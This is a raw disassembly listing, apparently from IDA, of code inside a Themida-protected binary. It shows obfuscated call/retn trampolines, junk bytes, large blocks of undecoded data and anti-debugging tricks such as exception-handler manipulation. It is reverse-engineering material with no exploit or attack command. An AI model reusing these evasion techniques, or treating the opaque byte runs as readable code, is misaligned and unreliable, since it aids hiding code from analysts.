sub_5BD0D9	proc near		; CODE XREF: Themida_:005BD0D1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx

locret_5BD0E8:				; CODE XREF: Themida_:005BD0C7j
		retn
sub_5BD0D9	endp

; ---------------------------------------------------------------------------
		db 5Bh,	35h, 9Fh
; ---------------------------------------------------------------------------
		jmp	loc_5BD0FF
; ---------------------------------------------------------------------------
		db 7Ah,	82h, 0F2h
		dd 63B8281Fh, 0F7E443C4h
		db 0F9h, 67h, 8Dh
; ---------------------------------------------------------------------------


loc_5BD0FF:				; CODE XREF: Themida_:005BD0ECj
		mov	eax, eax
		mov	cx, bx
		cmp	dword ptr [ebp+7D12AA1h], 0
		jz	loc_5BD159
		push	0
		push	eax
		call	sub_5BD11C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD11C	proc near		; CODE XREF: Themida_:005BD114p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5BD11C	endp

; ---------------------------------------------------------------------------
		dd 0EE514F53h, 2B2E9h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 9A207CA6h, 98AEC347h
		db 2Dh
; ---------------------------------------------------------------------------


loc_5BD159:				; CODE XREF: Themida_:005BD10Bj
		mov	edi, ds
		jnp	$+6
		test	di, 4
		jnz	loc_5BD3E7
		push	0
		push	eax
		call	sub_5BD177
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD177	proc near		; CODE XREF: Themida_:005BD16Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5BD177	endp

; ---------------------------------------------------------------------------
		db 7Ch
		dd 3F71ED0h, 6E92C50h, 0B9000000h, 0FC75F730h, 834CB1C8h
		dd 0D11E11BDh, 850F0007h, 2Ah, 239E9FCh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 7ABC58C3h, 7821A297h, 0BFD15Bh, 0E8000000h, 0Eh, 0C495EB64h
		dd 5C66030Dh, 5812372Dh, 0F08B2B66h, 0EE95Ah, 0D17D0000h
		dd 58F73D5Eh, 0C604EB55h, 0C9864532h, 6D409D8Dh, 595607D4h
		dd 0DE993h, 29B90000h, 0BF13471h, 9E91C419h, 50DF0394h
		dd 48E954B9h, 0B70F937Ah, 35FF64F3h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5BD237
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD237	proc near		; CODE XREF: Themida_:005BD22Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5BD237	endp

; ---------------------------------------------------------------------------
		imul	eax, -4Fh
		push	ss
		mov	ecx, eax
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_5BD25F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD25F	proc near		; CODE XREF: Themida_:005BD257p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BD25F	endp

; ---------------------------------------------------------------------------
		sti
		test	[esi-75h], ebx
		les	ecx, [edx-14FE3230h]
		add	[ecx-3FE9FB16h], al
		xor	al, 64h
		pop	large dword ptr	ds:0
		push	0
		push	ebx
		call	sub_5BD292
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD292	proc near		; CODE XREF: Themida_:005BD28Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5BD292	endp

; ---------------------------------------------------------------------------
		dw 6137h
		dd 41D1365Ch, 8314A782h, 51BA04C4h, 0B18C97Dh, 2C840FC0h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 1E50C351h, 6A613277h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 5EDCC355h, 12E9D5C2h, 7D000000h, 19F0E81Dh, 9DBA65E3h
		dd 53C4F3C0h, 0E35C9C8Eh, 0C4BD8D7Eh, 6A07D170h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0AF1BC357h, 8BD08B66h, 1B8F1h, 10E80000h, 0F6000000h
		dd 0DE798FDCh, 89A5C16Bh, 0E2585E32h, 66B16EF3h, 59E0AFBEh
		dd 6AE7FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 7349FFC3h, 0A149BAA9h, 8B574585h,	8B10245Ch
		dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
		dd 0C3C0335Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	81C35343h, 73519A52h, 565AF956h, 5ECB8B66h, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		db 1Bh,	0E2h, 0A4h
; ---------------------------------------------------------------------------


loc_5BD3E7:				; CODE XREF: Themida_:005BD166j
		popa
		push	0
		push	edx
		call	sub_5BD3F3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD3F3	proc near		; CODE XREF: Themida_:005BD3EBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5BD3F3	endp

; ---------------------------------------------------------------------------
		db 3Fh
		dd 38A766DCh, 850Fh, 0C08B0000h, 0EE9h,	92458600h, 0ED3E55BDh
		dd 0F477007Bh, 0BEC76E91h, 3413F92Ch, 3405BD83h, 750007D1h
		dd 49BD8309h, 7D128h, 53501974h, 0EB8C08Bh, 89000004h
		dd 0D1201185h, 179D8D07h, 0FF07D3E2h, 83585BD3h, 0D12849BDh
		dd 17740007h, 0EB85350h, 89000004h, 0D1201185h,	0B89D8D07h
		dd 0FF07D3DEh, 80585BD3h, 6A8DC1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 7384BCC3h, 8BCF8B66h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 3C7276F7h, 94657D65h, 8166BCE0h,	8BF2F9D9h
		dd 1718EBC2h, 9B46F3h, 4 dup(0)
		dd 0E9000000h, 20Bh, 245C8B60h,	0E824h,	815D0000h, 0D46EB0EDh
		dd 4C26107h, 0FFE6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 0FFFFh, 0
		dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 7D46EE8h,	0F000E681h
		dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 7D46EECh
		dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
		dd 0C00A0324h, 19840Fh,	53500000h, 2BBh, 21858B00h, 8607D120h
		dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
		dd 74FF50FFh, 95FF0824h, 7D119D5h, 4C010F50h, 8358FE24h
		dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
		dd 0FC00A03h, 984h, 21858B00h, 0C607D120h, 0FF580000h
		dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
		dd 38840Fh, 2BB0000h, 8B000000h, 0D1202185h, 0A188607h
		dd 0F6850FDBh, 0C7FFFFFFh, 0D115D585h, 7, 24448B00h, 988B08h
		dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 7D115D5h
		dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
		dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h,	0C302C88Ah
		dd 0CBD1C332h, 0FD20BAAh, 184h,	0C90A4A00h, 0FFE5850Fh
		dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
		dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
		dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
		dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
		dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
		dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h,	0FD20BFFh, 0FFFFDF85h
		dd 66C361FFh, 4A8D88Ch,	29840Fh, 85C70000h, 7D46E8Dh, 1
		dd 4C010F50h, 858FFE24h, 7D46E91h, 6E89858Dh, 0BD8D07D4h
		dd 7D46E91h, 23E93889h,	8D000000h, 0D11D7185h, 38408B07h
		dd 46F31705h, 8985899Bh, 8D07D46Eh, 0D11D7185h,	3C408B07h
		dd 6E8D8589h, 858D07D4h, 7D46EA6h, 19D58589h, 87E907D1h
		dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch,	7E9A945h
		dd 0
		dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
		dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
		dd 0A840F2Dh, 4000000h,	32133498h, 8C3C1D8h, 0FC90B49h
		dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 7D47119h
		dd 29958589h, 858D07D1h, 7D47141h, 16798589h, 858D07D1h
		dd 7D47169h, 2B218589h,	8EB07D1h, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5BD88C
; ---------------------------------------------------------------------------
		db 60h,	52h, 0Fh
; ---------------------------------------------------------------------------
		add	[esp-2], ecx
		pop	edx
		add	edx, 24h


loc_5BD81C:				; CODE XREF: Themida_:005BD853j
		mov	eax, [ebp+7D11715h]
		lea	eax, [ebp+7D4BF19h]
		mov	ecx, [eax]
		mov	ecx, [eax+1000h]
		mov	ecx, [edx]
		mov	cx, [edx-4]
		mov	[ebp+7D471CAh],	ecx
		cmp	dword ptr [ebp+7D11E11h], 0
		jz	loc_5BD858
		pusha
		push	0
		call	dword ptr [ebp+7D10055h]
		popa
		jmp	loc_5BD81C
; ---------------------------------------------------------------------------


loc_5BD858:				; CODE XREF: Themida_:005BD843j
		mov	[edx-4], si
		ror	esi, 10h
		mov	[edx+2], si
		push	edx
		int	4		; - internal hardware -	OVERFLOW
					; Generated by INTO instruction	if OF flag is set.  If flag is not set,	INTO
					; is effectively a NOP.
		pop	edx
		mov	[ebp+7D471C6h],	eax
		mov	esi, [ebp+7D471CAh]
		ror	esi, 10h
		mov	[edx+2], si
		mov	esi, [ebp+7D471CAh]
		mov	[edx-4], si
		popa
		mov	eax, [ebp+7D471C6h]
		retn
; ---------------------------------------------------------------------------


loc_5BD88C:				; CODE XREF: Themida_:005BD80Cj
		lea	edx, [ebp+7D103F5h]
		mov	[ebp+7D12021h],	edx
		mov	[ebp+7D11E25h],	edx
		inc	dword ptr [ebp+7D11E25h]
		mov	byte ptr [ebp+7D131B5h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		mov	[ebp+7D10055h],	eax
		lea	eax, [ebp+7D46EC0h]
		mov	[ebp+7D132E9h],	eax
		jmp	short $+2
		jmp	loc_5BDE73
; ---------------------------------------------------------------------------
		jmp	loc_5BDE6C
; ---------------------------------------------------------------------------
		push	7D4737Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4745Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D474D5h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D475AEh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4770Dh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		dw 2D51h
		dd 5F3926B3h, 6E2714A1h, 77160390h, 83FFEC79h, 801DD865h
		dd 5926E2Ch, 0F27F7D18h, 0DD6A8405h, 0C75490F0h, 0F17C3925h
		dd 0D319FD26h, 0BE220DEBh, 448FEBA7h, 9D5AE9CDh, 12299BCCh
		dd 299B8DE0h, 9C4D1F12h, 0A5F1229h, 7312299Ch, 5BEA0686h
		dd 299BCC9Eh, 9B89E012h, 7F49229h, 135A178Ah, 0B192299Ch
		dd 66F4831Ah, 0FDE9D534h, 0E6757310h, 0FA9ED929h, 6854EB99h
		dd 53E01E7Bh, 0E6CB2566h, 0DBC72A58h, 0CBB9C41Eh, 771300A1h
		dd 2C309479h, 0D8930603h, 9D056900h, 66F63916h,	2E6014ABh
		dd 927EBA9Bh, 42035ADh,	0F9A50000h, 0B8D7A07h, 1A7B68F5h
		dd 2B6A57E4h, 375340CDh, 2C712CB9h, 61EE0A88h, 4EDB1174h
		dd 39C62061h, 23B04C4Ch, 95D89581h, 2F19FD27h, 63216947h
		dd 87E3A085h, 931228B4h, 820239E8h, 0ACECD966h,	1E7E6B50h
		dd 0C671FDE2h, 44A0E057h, 366F40B7h, 0A76E39CDh, 90000003h
		dd 0A0856321h, 28B487E3h, 890F512h, 0EF866B89h,	2867358h
		dd 0D27D09EEh, 0D9844223h, 8C07F42Ah, 92F2DF6Eh, 3B27C956h
		dd 0C820624Fh, 0BD4CE3h, 1228B46Dh, 0EEDBC057h,	36753ADh
		dd 7A91F29h, 0C04DDC5Fh, 5237B5D3h, 0A431D0C4h,	361BD9B7h
		dd 0C43A5D4Ah, 6A521BD8h, 0DB721229h, 70245F4Ch, 5AF1D612h
		dd 0F07936C3h, 8C122969h, 800EF309h, 4603EF12h,	19FA7DDCh
		dd 0FB9D51E8h, 0E9F6C8DEh, 3408C04h, 0D9C50000h, 0EBAD9A27h
		dd 0FA9B8815h, 0B8A7704h, 177360EDh, 0C914CD9h,	810EEAA8h
		dd 6EFBF194h, 59E60081h, 43D02C6Ch, 75F8B5A1h, 4F19FD28h
		dd 36228967h, 28B4F479h, 0AA39D012h, 3C21DFBDh,	0CEB3314Fh
		dd 0BB48A6E1h, 28B4ABFEh, 0C4680112h, 71141228h, 90D9967Bh
		dd 4B1228C4h, 6ACEBA5Fh, 2FF80E9Eh, 0D9C554E7h,	0FAD4121Ch
		dd 671BB219h, 0F6CB0833h, 0C750C8ADh, 4C000002h, 3421AE52h
		dd 220F9C50h, 11FE8B65h, 0FAE77472h, 18D36098h,	95532F85h
		dd 82781B08h, 6D8B08F5h, 5795F3E0h, 7F3C28CAh, 19FD28EEh
		dd 2110EED6h, 0B3A08563h, 0A63217D5h, 0B2160CFBh, 682DE098h
		dd 0B61AB196h, 0BD4C88A7h, 5067B0D0h, 1BE93888h, 0F36AF78Eh
		dd 39CDAEBCh, 24921h, 35224300h, 1EB59A54h, 0B497D28Fh
		dd 0A4E51228h, 0B3D0BD4Ah, 0B54A23E0h, 0E37A1228h, 197A674Ch
		dd 8C0DFADFh, 0E3A08D72h, 0DC65F238h, 6D04A65Fh, 3F99B88h
		dd 1F40AF5Ah, 239E893h,	0EEDA6781h, 92C6448Ah, 0BDA96102h
		dd 29436D00h, 31C05712h, 0CDC4F5BAh, 52E839h, 10FC0000h
		dd 29381A53h, 8413AA12h, 0EF1280A6h, 0C5384603h, 0F58C19F9h
		dd 0C8075341h, 0F46C51F6h, 1EEh, 48D50B73h, 36C3395Bh
		dd 25B24C49h, 0E9B5938h, 0FA876121h, 34565E3Fh,	47422FBCh
		dd 522F1CA9h, 7A1A0794h, 634FF17Eh, 0FD29C7A6h,	3715FD19h
		dd 0D794806Ch, 1228B496h, 0AA4FA1E6h, 0DB988413h, 1228B49Ah
		dd 0BAA7932Ah, 0A43B20D8h, 46433015h, 54B83052h, 0D8E22680h
		dd 5FEC839Fh, 0F1D61272h, 1D7A3163h, 7A67FEE3h,	64FBE018h
		dd 365340CDh, 5E3E2BB8h, 0CAC9B6A2h, 9E5B472Ch,	1229A9CFh
		dd 38C75EF5h, 0CD236653h, 5894F4E1h, 33F0DC73h,	1229AA3Ah
		dd 0D764F38Ah, 0E18C4935h, 0E31229A9h, 73FC604Ch, 20036338h
		dd 0CDEAC083h, 139D4E69h, 4FB39F84h, 0A1E69C17h, 6FD36A4Fh
		dd 901F617Ah, 7F0CE2A3h, 755A8BF1h, 0ACFF9C89h,	29507EEFh
		dd 18AF4612h, 200D9C33h, 3FFC8967h, 1229512Ah, 3420C1B1h
		dd 0FA826777h, 0DAC65D19h, 6854AAEDh, 0FA82C2ABh, 0DC6B0219h
		dd 6B8103F0h, 0F7F1927Fh, 0AAEEDB68h, 96066A56h, 24A33078h
		dd 0C3395B48h, 0D3B847DEh, 5F4BA5E6h, 0F0D51372h, 0F9E5CA59h
		dd 7F1B8F0Ch, 6E059C81h, 7663F289h, 0BF8DD13h, 18F748Ah
		dd 7F791A91h, 806C039Ah, 0D1B3E11Ch, 4A9C1CDh, 0EF7310D5h
		dd 6F28118h, 0CB0CAD49h, 0CC801721h, 0FEBB4FEAh, 8FE1593Eh
		dd 14000000h, 0FCE9766Ah, 0EAD76498h, 0D9C653ADh, 0C2AF3CBAh
		dd 0E09B28C0h, 5D9BF7BDh, 4AA0E3D0h, 35B3D0BDh,	1FDDBBA8h
		dd 4704F092h, 19FD2C26h, 22D8B69Eh, 0F9E5035h, 0A1866222h
		dd 3318D4B4h, 160DFCA7h, 87652476h, 0E7740BA2h,	0CD363F70h
		dd 1C9E39h, 51C00000h, 1228B519h, 4FFA2563h, 557C67BBh
		dd 0B19E8A21h, 0F88514D2h, 1880h, 1851A200h, 641228B5h
		dd 0D7117224h, 244906F2h, 0A01228B5h, 4EDB7209h, 3E3ABE70h
		dd 2, 7D2114F2h, 0D3B19E83h, 46433015h,	0B3D6C3A8h, 2F6B583Dh
		dd 83FFECD1h, 0F4938065h, 632411F6h, 0D9BBA88Dh, 686F3E23h
		dd 5CBBh, 53243489h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 14895C24h, 1E216824h, 4890000h, 72D06824h, 148B07D4h
		dd 4C48124h, 54000000h,	8324048Bh, 676804C4h, 8900002Bh
		dd 2C812414h, 2F087C24h, 8408F31h, 7C084081h, 0FF312F08h
		dd 83582434h, 34FF04C4h, 0C4815A24h, 4,	0FD0657E9h, 244E30FFh
; ---------------------------------------------------------------------------


loc_5BDE6C:				; CODE XREF: Themida_:005BD8D7j
		mov	eax, 7D477C1h
		add	eax, ebp


loc_5BDE73:				; CODE XREF: Themida_:005BD8D2j
		mov	edx, ecx
		jmp	short loc_5BDE97
; ---------------------------------------------------------------------------
		align 4
		dd 7 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5BDE97:				; CODE XREF: Themida_:005BDE75j
		jmp	loc_5BE3F2
; ---------------------------------------------------------------------------
		jmp	loc_5BE3EB
; ---------------------------------------------------------------------------
		push	7D47A1Bh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D47AB7h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D47C47h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D47CABh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 96h,	0E8h, 0F8h
		dd 0E61A7E6Bh, 0D52B6C59h, 0BE3C5B48h, 0AA464431h, 793B621Dh
		dd 6552DF19h, 523FCC22h, 3D2AB731h, 7214A15Fh, 2CA4C986h
		dd 382019FDh, 8A64215Ah, 0B481E8A5h, 99FB9228h,	79599D96h
		dd 0E2796900h, 777510FDh, 0CF3EE992h, 82711CAEh, 0CDD7AE01h
		dd 3A2FB9h, 51510000h, 1228B519h, 4531D0C2h, 0D3296C59h
		dd 28B55716h, 47D66D12h, 2D209E5Bh, 705D19FDh, 5F2D715h
		dd 0EC836886h, 8A21C655h, 90AD11FDh, 527384D5h,	22199120h
		dd 3B000000h, 28B51851h, 0BB016512h, 0F0088AFAh, 0C438DF8Ch
		dd 0C0FBA735h, 0A49027C5h, 0FD7AD7E7h, 0C956ED19h, 8A6421EBh
		dd 0B480E8A5h, 0F5A09228h, 78760F06h, 0C6275DEBh, 8701EEDAh
		dd 0DB988469h, 9228B492h, 75049B32h, 28C4B1B8h,	977C1392h
		dd 810EEAAAh, 766287F3h, 0F9DBC5B9h, 5613FF99h,	99F9DC17h
		dd 23C1C0ADh, 0A509F58Ch, 3BA2D4A2h, 90F3E0FCh,	0FAE6CB5Ah
		dd 0C91C510Eh, 11A899F9h, 0C8A4C582h, 0BCD899F9h, 2F6E5B40h
		dd 0B560ECD1h, 0A7932546h, 0C86FFEBBh, 0BE5599F9h, 1495842Fh
		dd 0C19E469Bh, 9342h, 12806400h, 751603EFh, 12FF967Bh
		dd 0FC937870h, 78C4816Dh, 4C19FD26h, 26CAA360h,	4C3B19FDh
		dd 21D56409h, 0A73ED57Ah, 0F6E3CFBBh, 0CDA05D93h, 0B019FCF3h
		dd 0FCF37AF3h, 0EB34A19h, 9FCE8B77h, 2519FCF3h,	7212FF8Eh
		dd 9CFCE976h, 2227AC60h, 0DCC1F6CDh, 2E164h, 68980600h
		dd 56AAEEDBh, 45BBDCC9h, 2ECCCBB8h, 1AD6B4A1h, 0E9CBD28Dh
		dd 0D5C24FA9h, 0C2AF3CB2h, 0AD9A27C1h, 0E28411EFh, 2F3439F6h
		dd 0A89019FDh, 2AC96CAh, 0BDAA0000h, 0B59322DCh, 49493622h
		dd 7633CAAFh, 1228B4F7h, 0BAA736CDh, 34CACDDDh,	6EFBB89Dh
		dd 3E1228B4h, 1228B5ABh, 28B56B01h, 0B6284112h,	68551228h
		dd 8441D02Ch, 1228B5E5h, 28B5A2C7h, 0A84939D2h,	0D97EFFBCh
		dd 0AF46D9FCh, 0AB4E3CCAh, 0A5E6D3BFh, 0E3FFBC4Bh, 0E1E1CDF3h
		dd 2237964Ah, 0C8AD3EBCh, 24550h, 0CC346A00h, 0BA36523Fh
		dd 0A947402Dh, 92502F1Ch, 7E7A1805h, 456736F1h,	311EAB45h
		dd 1E0B9856h, 9F6837Dh,	3EE06D8Bh, 2ED89552h, 4EC19FDh
		dd 85632126h, 816012A0h, 2CCAD895h, 0C6B319FDh,	0F79C2BC5h
		dd 83E7D360h, 0E248AC88h, 3D2AB9ACh, 2C19A658h,	0C4B0956Bh
		dd 0DB3FBDD7h, 8082C812h, 0EE7C0BD6h, 0B4715DBCh, 21D168F6h
		dd 0EDAA37CEh, 21D1687Ch, 0E2CE335Fh, 52B8647Eh, 0AF6104Dh
		dd 0D16A204Dh, 7E0DA421h, 0E1D1D592h, 0BFAC29A5h, 31CFCEC2h
		dd 8F1EB54Ch, 7A6753EAh, 9608881Ah, 8017FCF4h, 0D8C552E9h
		dd 9A573CB8h, 29A5E1DFh, 74158EFCh, 3AF7E37Ah, 317A5A80h
		dd 0D4C1AD44h, 4BA5E2B4h, 26E3CF66h, 317A5B47h,	0C24FE67Dh
		dd 5439B7D5h, 7A5AE297h, 6889F931h, 0F8F68F7Ch,	0EAC07D69h
		dd 0DA394ED2h, 2A6A5743h, 345441CEh, 0FAE7D3B8h, 0E57C619Fh
		dd 37DAC856h, 0C7395E4Bh, 2F8F4C38h, 9541234Bh,	402D19FEh
		dd 5815A440h, 41234B11h, 0ABEC1BC6h, 68C7CC04h,	28D9h
		dd 1501ED00h, 233F1558h, 5B18AF41h, 41233F12h, 0AE8C1BB2h
		dd 0F4793622h, 0D01228B4h, 7CEDAA39h, 751228D1h, 7, 0CF185197h
		dd 80731228h, 1703EF12h, 6E6256B3h, 2EBDC2E6h, 0FD753171h
		dd 235F4C19h, 0BA49E0C5h, 0D089B115h, 0CF527CA5h, 69D34B2h
		dd 2E79321h, 8D6B2916h,	0A15512FEh, 2321CE8Bh, 0CA6FD88Ch
		dd 9C81FEBCh, 0B524h, 3CA4DA00h, 2AC6C2AFh, 19D7B09Dh
		dd 2E09F8Ch, 0EE0A8875h, 0B5F7A661h, 0A18E1BD5h, 8E7B08E6h
		dd 7966F30Dh, 0AE50DD1Bh, 306805C2h, 745C19FDh,	0EF128096h
		dd 2D5C4603h, 0D16819FDh, 0CD2C5EECh, 5997F4E1h, 0E9661074h
		dd 11B80A40h, 0F30D8D7Ah, 0B7BB7864h, 0D21CEAAh, 0EB2FC276h
		dd 10F5FEBCh, 5198h, 0D8087600h, 0C63A5E4Bh, 0B54B4C39h
		dd 9E5C3B28h, 8A662411h, 595B42FDh, 4532BF39h, 321FAC42h
		dd 1D0A9751h, 52F4817Fh, 30C4A966h, 180019FDh, 1C963Ah
		dd 0BEAA0000h, 28B46C01h, 32C15812h, 0E9D6C254h, 0D1684DABh
		dd 0B54528E5h, 0E87F1228h, 7D217B59h, 0D3B19E83h, 46433015h
		dd 0B3D6C3A8h, 2F6B583Dh, 83FFECD1h, 0F4938065h, 632411F6h
		dd 0D9BBA88Dh, 516F3E23h, 0C1815954h, 4, 8704E983h, 525C240Ch
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	8951241Ch, 4C181E1h
		dd 83000000h, 0C8704E9h, 14895C24h, 4EC8124h, 89000000h
		dd 8BB82404h, 8907D478h, 0EC8158C3h, 4,	83242489h, 5A042404h
		dd 89D98951h, 0C8B084Ah, 4C48124h, 8B000000h, 89532414h
		dd 4C381E3h, 83000000h,	1C8704C3h, 34FF5C24h, 0C4835B24h
		dd 0DEE904h, 5240FFFDh,	2EB6F283h
		db 46h,	5, 0CAh
; ---------------------------------------------------------------------------


loc_5BE3EB:				; CODE XREF: Themida_:005BDE9Cj
		mov	eax, 7D47D21h
		add	eax, ebp


loc_5BE3F2:				; CODE XREF: Themida_:loc_5BDE97j
		mov	ecx, eax
		jmp	loc_5BE44A
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_5BE414:				; CODE XREF: Themida_:005BE43Fj
		cmp	ecx, 0
		jz	loc_5BE433
		cmp	edi, [edx+0Ch]
		jg	loc_5BE43B
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_5BE433:				; CODE XREF: Themida_:005BE417j
					; Themida_:005BE445j
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5BE43B:				; CODE XREF: Themida_:005BE420j
		add	edx, 28h
		dec	ecx
		jnz	loc_5BE414	; CODE XREF: Themida_:005BE47Fj
		jmp	loc_5BE433
; ---------------------------------------------------------------------------


loc_5BE44A:				; CODE XREF: Themida_:005BE3F4j
		mov	edx, 9FD3Eh
		call	near ptr loc_5BE462+6
		jl	short near ptr loc_5BE46C+5
		cld
		db	36h
		mov	cl, 8Ch
		xor	esp, [ebp+2DEE9953h]
		and	ecx, edx


loc_5BE462:				; CODE XREF: Themida_:005BE44Fp
		call	far ptr	8B25h:0F5DFAF9Eh
		ficomp	dword ptr [edi+0Fh]


loc_5BE46C:				; CODE XREF: Themida_:005BE454j
		adc	dword ptr ds:0E9000000h, 10h
		cmp	dh, [ebp-6241BB56h]
		cld
		push	eax
		scasd
		jno	short near ptr loc_5BE43F+4
		pop	esi
		call	near ptr 824839C2h
		mov	dword ptr [ebx+60h], 890F0000h
		add	eax, [eax]
; ---------------------------------------------------------------------------
		dd 8B660000h, 17E2BEC7h, 7E80000h, 2B000000h, 0D8F4E05Ch
		dd 860FA6DBh, 2, 8B585957h, 8E817h, 3F9D0000h, 167A5511h
		dd 0DE8B9624h, 0A9EA8159h, 80406800h, 0EA816EE4h, 421EF7Bh
		dd 1CF7DB81h, 0EA811E17h, 6439468Ch, 0DB84B966h, 81F51789h
		dd 97DD2CEFh, 15B8664Dh, 28C781F4h, 0E84D97DDh,	0Ah, 9761C03Bh
		dd 456C2893h, 0C0814690h, 4F16AA5Ch, 850F4E59h,	13h, 24E9D98Bh
		dd 58000000h, 14963CD5h, 0FE0E2389h, 81016B9Eh,	5A9448D3h
		dd 0FF81E953h, 858FFFFFh, 283B3DBAh, 7405F024h,	0E9655B5Ch
		dd 151h, 25CB4ACEh, 0DA95ECE7h,	6715893h, 0BEB6CFDFh, 365D54FDh
		dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h
		dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h
		dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h,	92A7ABDDh
		dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h,	0B6E592B6h
		dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh
		dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h
